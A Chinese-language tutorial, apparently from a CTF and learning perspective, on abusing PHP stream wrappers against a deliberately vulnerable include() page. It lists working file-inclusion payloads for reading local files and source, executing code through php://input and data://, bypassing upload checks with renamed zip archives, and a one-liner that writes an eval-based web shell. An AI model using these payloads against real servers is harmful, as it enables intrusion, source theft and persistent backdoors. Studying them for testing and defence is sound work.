一起研究一下php伪协议

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

当代码中出现可控的文件包含函数,我们可以利用这些php伪协议,也叫封装协议,

常见的文件包含函数有

require() // require函数出现错误的时候,会直接 报错并退出 程序的执行。

require_once() // 如果一个文件已经被包含过,则不会在包含它 

include() // include在包含的过程中如果出现错误,会抛出一个警告,程序 继续正常运行

include_once() // 如果一个文件已经被包含过,则不会在包含它

因为include函数的功能就是加载任意类型的文件

所以我这边自己在服务器写了一个有关include函数的的代码

index.php

<?php

header('Content-Type: text/html; charset=UTF-8'); // 设置字符编码为UTF-8

// 检查是否设置了 'file' 参数
if(isset($_GET['file'])) {
    $file = $_GET['file']; 
    
    // 试图包含文件
    @include($file);
} else {
    echo "没有指定文件。";
}

?>
  • allow_url_fopen = On:这个设置打开后,你可以使用PHP的一些功能从互联网上(比如一个网址)读取文件,就像读取在你电脑上的文件一样。

  • allow_url_include = On:这个设置打开后,你可以直接把互联网上的PHP代码当作你自己电脑上的PHP代码一样运行。但是这样做可能会有危险,因为如果别人的代码中有恶意的部分,那么它也会在你的电脑上运行。

1.file://协议

PHP.ini(配置文件): file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

这边简单利用一下

从代码可以看出来是通过file参数进行传递的

那我们构造一个url

http://47.116.xxx.xx/?file=file:///home/wwwroot/php/2.txt

这个格式大家都明白吧

file://是协议部分  /home 这个/代表根目录(这是linux的,windows只需要把协议部分的//写上)

2.php://协议

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini(配置文件):

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

http://47.116.xx.xxx/?file=php://filter/read=convert.base64-encode/resource=/home/wwwroot/default/2.php支持绝对路径也支持相对路径 如果是当前目录的话就 resource=./index.php即可

在线base64解码即可

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini(配置文件):

allow_url_fopen :off/on

allow_url_include:on

<?php phpinfo()?>

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>

post请求

但实际情况中有时候get请求中的数据可以作为php代码执行,因为get也可以携带请求体。(执行php代码操作系统命令时,注意system exec这种函数,得保证php.ini文件没有禁用)

3.zip://, bzip2://, zlib://协议

PHP.ini(配置文件)

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

zip://协议

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23

具体操作方法是

我们将要执行的php代码写好名为phpinfo.txt,将phpinfo.txt进行zip压缩,压缩名为1.zip,

如果上传有限制,比如要求jpg,我们可以将1.zip改为1.jpg,

http://47.116.xx.xxx/?file=zip://./1.zip%23phpinfo.txt 相对路径

http://47.116.xx.xxx/?file=zip:///home/wwwroot/php/1.zip%23phpinfo.txt 绝对路径

​bzip2://协议

compress.bzip2://file.bz2

http://127.0.0.1/?file=compress.bzip2:///home/wwwroot/php/file.jpg

http://127.0.0.1/?file=compress.bzip2://./file.jpg

​zlib://协议

compress.zlib://file.gz

http://127.0.0.1/?file=compress.zlib:///home/wwwroot/php/file.jpg

http://127.0.0.1/?file=compress.zlib://./file.jpg

​4.data协议

主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

http://127.0.0.1/?file=data://text/plain,<?php phpinfo()?>

http://127.0.0.1/?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

http://127.0.0.1/?file=data:text/plain,<?php phpinfo()?>

http://127.0.0.1/?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

以上都可以

5.phar协议

Phar(PHP归档)的主要特点就是能够将一组PHP文件打包到一个单独的.phar文件中,不经过解压就能被php访问并且执行

注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

http://127.0.0.1/?file=phar://10.zip/10.php

Logo

GitCode 天启AI是一款由 GitCode 团队打造的智能助手,基于先进的LLM(大语言模型)与多智能体 Agent 技术构建,致力于为用户提供高效、智能、多模态的创作与开发支持。它不仅支持自然语言对话,还具备处理文件、生成 PPT、撰写分析报告、开发 Web 应用等多项能力,真正做到“一句话,让 Al帮你完成复杂任务”。

更多推荐